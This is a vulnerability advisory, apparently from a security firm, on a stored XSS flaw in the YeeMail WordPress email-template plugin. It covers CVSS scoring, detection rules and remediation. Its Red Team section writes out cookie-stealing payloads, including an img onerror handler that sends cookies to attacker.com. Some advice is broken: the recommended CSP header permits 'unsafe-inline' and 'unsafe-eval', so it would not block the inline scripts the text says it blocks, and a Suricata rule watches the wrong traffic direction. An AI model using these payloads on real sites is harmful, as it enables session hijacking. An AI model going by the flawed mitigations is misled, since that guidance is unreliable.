CVE-2025-22802

Executive Summary

CVE-2025-22802 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Email Templates Customizer for WordPress – Drag And Drop Email Templates Builder – YeeMail (yeemail), developed by Add-ons.org. The vulnerability exists in versions from n/a through 2.1.4. An authenticated attacker with at least Editor-level privileges can inject malicious JavaScript into email templates. When an administrator or other user previews or sends an email using the compromised template, the script executes in their browser session, potentially leading to session hijacking, credential theft, or further WordPress compromise. The CVSS score is 6.5 (Medium), and no public exploit or patch is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. The plugin is not an NPM, PyPI, Go, or Ruby package. The risk is elevated because the plugin is unpatched, and administrators may be unaware of the vulnerability. Supply chain risks include:

• Malicious updates: If the vendor is compromised, a future update could contain backdoors.
• Dependency risk: The plugin may rely on other libraries (e.g., TinyMCE, jQuery) that could introduce additional vulnerabilities.
• No patch available: Users must manually disable or remove the plugin until a fix is released.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): High (H) – The attacker needs Editor-level or higher WordPress privileges.
• User Interaction (UI): Required (R) – A user (e.g., admin) must preview or send the email.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component (e.g., admin session).
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. The requirement for high privileges reduces the attack surface, but the potential for privilege escalation and lateral movement makes it significant.

Deep Dive & Mechanics

The YeeMail plugin allows users to create custom email templates using a drag-and-drop builder. The vulnerability lies in the improper neutralization of user-supplied input when generating the email template HTML. Specifically, the plugin fails to sanitize or escape content in fields such as:

• Template names
• Email subject lines
• Body content (text, HTML blocks)
• Custom CSS/JavaScript fields

When an attacker with Editor privileges creates or modifies a template and injects a payload like:

<script>alert('XSS')</script>

or

<img src=x onerror=alert('XSS')>

the payload is stored in the database. When an administrator or other user previews the template or sends an email using it, the payload executes in the context of the victim’s browser.

The attack flow:

1. Attacker logs in as an Editor.
2. Navigates to YeeMail → Templates → Add New.
3. Injects malicious JavaScript into a template field (e.g., body content).
4. Saves the template.
5. Administrator or other user previews the template or sends an email.
6. Payload executes, allowing the attacker to steal cookies, perform actions on behalf of the admin, or install backdoors.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely resides in the plugin’s template rendering function, where user input is directly echoed without escaping.

Vulnerable Code (PHP example):

function yeemail_render_template($template_id) {
    $template = get_post($template_id);
    $content = $template->post_content;
    // Direct output without sanitization
    echo $content;
}

Patched Code (expected):

function yeemail_render_template($template_id) {
    $template = get_post($template_id);
    $content = $template->post_content;
    // Sanitize output using WordPress functions
    echo wp_kses_post($content);
}

The fix should use wp_kses_post() or esc_html() to strip malicious tags while allowing safe HTML.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with YeeMail plugin <= 2.1.4.
• Editor-level account credentials.

Steps:

1. Log in as an Editor.
2. Go to YeeMail → Templates → Add New.
3. In the template body, insert the following payload:

   <script>
   fetch('/wp-admin/admin-ajax.php?action=your_custom_action&data='+document.cookie);
   </script>
   

4. Save the template.
5. Send a phishing email to an administrator with a link to preview the template.
6. When the admin previews the template, the script executes and exfiltrates their cookies.

Alternative Payload:

<img src=x onerror="new Image().src='http://attacker.com/steal.php?c='+document.cookie">

Blue Team

Detection:

• Monitor for unusual template creation or modification by non-admin users.
• Look for suspicious JavaScript in template content (e.g., fetch, XMLHttpRequest, eval).
• Use WAF rules to block common XSS payloads in POST requests to wp-admin/admin-ajax.php or wp-admin/post.php.

Hunting:

• Query the WordPress database for posts with post_type = 'yeemail_template' and post_content containing <script> or onerror.
• Check for outbound connections to unknown domains from the WordPress server.

Mitigation:

• Disable the YeeMail plugin until a patch is released.
• Restrict Editor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/yeemail/yeemail.php (version <= 2.1.4)
• Database: wp_posts table with post_type = 'yeemail_template' and post_content containing <script> tags.
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
• Logs: wp-content/debug.log entries showing PHP warnings or errors related to template rendering.
• User Activity: Unusual template creation or modification by Editor-level users.

Detection Engineering

YARA Rule

rule CVE_2025_22802_YeeMail_XSS {
    meta:
        description = "Detects YeeMail plugin files with potential XSS payloads"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22802"
    strings:
        $xss1 = "<script>" ascii wide nocase
        $xss2 = "onerror=" ascii wide nocase
        $xss3 = "onload=" ascii wide nocase
        $xss4 = "javascript:" ascii wide nocase
        $plugin = "yeemail" ascii wide nocase
    condition:
        $plugin and (any of ($xss*))
}

Sigma Rule

title: CVE-2025-22802 YeeMail Stored XSS Detection
id: 8a3b2c1d-4e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS payloads in YeeMail template content
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/post.php'
        http.body|contains: 
            - '<script>'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in templates (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-22802 YeeMail Stored XSS Payload Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action="; http_client_body; pcre:"/(<script|onerror|onload|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and delete the YeeMail plugin from the WordPress admin panel.
2. Restrict user roles: Remove Editor-level access from untrusted users.
3. Audit templates: Check all existing YeeMail templates for malicious content using the YARA rule above.

Long-term Fix:

• Monitor the Add-ons.org website or WordPress plugin repository for a patched version (>= 2.1.5).
• Apply the patch as soon as it is released.
• Consider switching to an alternative email template plugin with active security support.

Compensating Controls:

• Implement a Web Application Firewall (WAF) with XSS rules.
• Enforce Content Security Policy (CSP) headers:

  Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';"
  

• Enable WordPress automatic updates for plugins.

Valters IT
Securing Digital Frontiers